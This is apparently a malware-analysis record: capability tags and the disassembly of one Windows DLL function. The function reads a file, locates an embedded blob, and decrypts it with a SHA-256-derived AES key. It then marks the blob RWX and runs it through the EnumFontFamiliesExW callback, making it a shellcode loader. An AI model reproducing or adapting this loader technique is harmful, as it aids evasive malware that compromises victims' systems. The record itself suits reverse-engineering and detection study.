Function at 0x1800010f0
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via windows callback function
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push r14
sub rsp, 0x90
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r14d, r14d
lea rcx, [0x180021cd0]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180001151
xor eax, eax
jmp 0x18000138b
mov qword [rsp + 0xa0], rbp
xor edx, edx
mov qword [rsp + 0xa8], rsi
mov rcx, rbx
mov qword [rsp + 0xb0], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
je 0x180001368
mov ecx, esi
mov ebp, esi
call fcn.180006234
mov rdi, rax
test rax, rax
je 0x180001368
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov r8d, esi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001360
cmp dword [rsp + 0x40], esi
jne 0x180001360
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [0x180020a58]
lea rdx, [rsi - 0x10]
mov word [0x180020a50], 0xddcc
mov rcx, rdi
mov r9, qword [0x180020a50]
cmp qword [rcx], r9
jne 0x1800011f5
cmp qword [rcx + 8], r8
je 0x180001357
inc rcx
mov rax, rcx
sub rax, rdi
cmp rax, rdx
jbe 0x1800011e6
mov rbx, r14
sub rbp, rbx
mov rcx, rbx
add rbp, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180001350
cmp rbp, 0x10
jle 0x180001350
movups xmm0, xmmword [rbx]
lea eax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov dword [rsp + 0x48], eax
xor r8d, r8d
lea rcx, [rsp + 0x58]
xor edx, edx
add rbx, 0x10
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x180001315
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x180001315
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x70]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x180001315
mov r8, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x180001315
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x180001315
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rdx, [rbp - 0x10]
mov dword [rsp + 0x50], r14d
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
mov eax, 1
jmp 0x180001373
lea rbx, [rcx + 0x10]
jmp 0x180001206
mov rcx, rdi
call fcn.180005ec8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180001f40
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop r14
ret